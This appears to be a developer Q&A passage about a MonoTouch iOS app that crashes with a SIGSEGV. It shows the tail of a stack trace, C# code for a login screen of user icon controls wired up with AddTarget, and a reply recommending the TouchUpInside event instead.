26 CoreFoundation 0x0116cf1a __NSArrayChunkIterate + 362
27 CoreFoundation 0x01138635 __NSArrayEnumerate + 997
28 CoreFoundation 0x01138026 -[NSArray enumerateObjectsWithOptions:usingBlock:] + 102
29 UIKit 0x0228c66b -[UIView(Geometry) hitTest:withEvent:] + 646
30 UIKit 0x02286dbd +[UIWindow _hitTestToPoint:pathIndex:forEvent:] + 378
31 UIKit 0x02258ca0 _UIApplicationHandleEvent + 1648
32 GraphicsServices 0x047c5ef5 PurpleEventCallback + 1274
33 CoreFoundation 0x011a9195 __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE1_PERFORM_FUNCTION__ + 53
34 CoreFoundation 0x0110dff2 __CFRunLoopDoSource1 + 146
35 CoreFoundation 0x0110c8da __CFRunLoopRun + 2218
36 CoreFoundation 0x0110bd84 CFRunLoopRunSpecific + 212
37 CoreFoundation 0x0110bc9b CFRunLoopRunInMode + 123
38 GraphicsServices 0x047c47d8 GSEventRunModal + 190
39 GraphicsServices 0x047c488a GSEventRun + 103
40 UIKit 0x02258626 UIApplicationMain + 1163
41 ??? 0x0b96e514 0x0 + 194438420
42 ??? 0x0b96d6c0 0x0 + 194434752
43 ??? 0x0b96d33c 0x0 + 194433852
44 ??? 0x0b96d42f 0x0 + 194434095
45 MFiPad_MD 0x00009d12 mono_jit_runtime_invoke + 722
46 MFiPad_MD 0x00169e4e mono_runtime_invoke + 126
47 MFiPad_MD 0x0016df34 mono_runtime_exec_main + 420
48 MFiPad_MD 0x001732e5 mono_runtime_run_main + 725
49 MFiPad_MD 0x00066f15 mono_jit_exec + 149
50 MFiPad_MD 0x002115d5 main + 2837
51 MFiPad_MD 0x00002d65 start + 53
Got a SIGSEGV while executing native code. This usually indicates
a fatal error in the mono runtime or one of the native libraries
used by your application.
Here is the important Part of my Code:
public class LoginViewController : UIViewController
{
...
public override void ViewDidLoad()
{
...
BuildUserUI();
...
}
private void BuildUserUI()
{
currentIconLocation = new PointF(50, 10);
for (var i = 0; i < UserList.List.Count; i++)
CreateUserInGrid(UserList.GetUserByIndex(i));
}
private void CreateUserInGrid(LoginUser user)
{
var imgFrame = new RectangleF(currentIconLocation.X, currentIconLocation.Y, 140, 170);
var loginImg = new UILoginImage(imgFrame);
loginImg.Image = user.Image ?? defaultUserImage.CGImage;
loginImg.Name = user.Nachname;
if (!string.IsNullOrEmpty(user.Vorname))
loginImg.Name += ", " + user.Vorname;
loginImg.Tag = user.UserIndex;
loginImg.AddTarget(this, new Selector("ShowNumberPad:"), UIControlEvent.TouchUpInside);
loginImg.LoginUser = user;
scrollView.AddSubview(loginImg);
loginImages.Add(loginImg);
limitedScrollView.UserInteractionEnabled = false;
var newSize = new SizeF(scrollView.Frame.Size.Width, currentIconLocation.Y + imgFrame.Size.Height + 20);
scrollView.ContentSize = newSize;
limitedScrollView.ContentSize = new SizeF(limitedScrollView.Frame.Size.Width, limitedScrollView.Frame.Size.Height);
currentIconLocation.X += imgFrame.Size.Width;
if (currentIconLocation.X + imgFrame.Size.Width > scrollView.Frame.Size.Width)
{
currentIconLocation.Y += imgFrame.Size.Height;
currentIconLocation.X = 50;
}
}
[Export("ShowNumberPad:")]
private void ShowNumberPad(NSObject sender)
{
...
}
}
public class UILoginImage : UIView
{
[Export("initWithFrame:")]
public UILoginImage(RectangleF frame)
: base(frame)
{
var shadowFrame = new RectangleF(0, 0, 117, 148);
wrapperControl = new UIControl(shadowFrame);
AddSubview(wrapperControl);
shadowImage = new UIImageView(shadowFrame);
shadowImage.Image = ImageCache.GetResourceImage("Images/Login/LoginSchatten.png");
wrapperControl.AddSubview(shadowImage);
var mainBackFrame = new RectangleF(8, 9, 98, 128);
whiteBackgroundImage = new UIImageView(mainBackFrame);
whiteBackgroundImage.Image = ImageCache.GetResourceImage("Images/Login/Singlewhite.png");
wrapperControl.AddSubview(whiteBackgroundImage);
var imageFrame = new RectangleF(13, 15, 87, 116);
clickHelper = UIButton.FromType(UIButtonType.Custom);
clickHelper.Frame = imageFrame;
wrapperControl.AddSubview(clickHelper);
userImage = new UIImageView(imageFrame);
AddSubview(userImage);
var mitarbeiterlabelFrame = new RectangleF(-12, 137, 140, 25);
mitarbeiterNameLabel = new FontSizeLabel(mitarbeiterlabelFrame);
mitarbeiterNameLabel.TextAlignment = UITextAlignment.Center;
mitarbeiterNameLabel.Font = UIFont.SystemFontOfSize(12);
mitarbeiterNameLabel.Opaque = false;
mitarbeiterNameLabel.BackgroundColor = UIColor.Clear;
AddSubview(mitarbeiterNameLabel);
var benutzerlabelFrame = new RectangleF(mitarbeiterlabelFrame.X, mitarbeiterlabelFrame.Y + 13, 140, 25);
benutzerNameLabel = new FontSizeLabel(benutzerlabelFrame);
benutzerNameLabel.TextAlignment = UITextAlignment.Center;
benutzerNameLabel.Font = UIFont.SystemFontOfSize(10);
benutzerNameLabel.Opaque = false;
benutzerNameLabel.BackgroundColor = UIColor.Clear;
benutzerNameLabel.TextColor = UIColor.DarkGray;
AddSubview(benutzerNameLabel);
}
public void AddTarget(NSObject target, Selector action, UIControlEvent controlEvents)
{
clickHelper.AddTarget(target, action, controlEvents);
}
public void RemoveTarget(NSObject target, Selector action, UIControlEvent controlEvents)
{
clickHelper.RemoveTarget(target, action, controlEvents);
}
}
I'm not sure your use of AddTarget is a good way to hook up a UIButton's click.
You should be using clickHelper.TouchUpInside to wire up click events. This is a standard C# event.
Another option would be to wire up an action to this event inside your XIB file in XCode.